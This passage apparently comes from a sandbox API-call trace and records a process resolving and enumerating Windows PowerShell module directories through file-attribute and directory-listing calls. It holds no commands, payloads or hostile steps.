lpFilePart=0x0) returned 0x5a [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0154.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.309] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x230e1cc | out: lpFileInformation=0x230e1cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0154.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0154.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0154.314] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0154.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0154.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0154.315] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.315] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0154.317] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0154.317] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0154.317] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0154.317] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.317] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.317] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0154.317] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0154.317] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0154.318] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0154.318] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0154.318] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0154.318] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0154.318] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0154.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0154.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0154.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0154.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0154.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0154.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0154.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0154.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0154.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0154.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0154.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0154.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0154.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0154.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0154.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0154.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.323] GetFileAttributesExW (in: 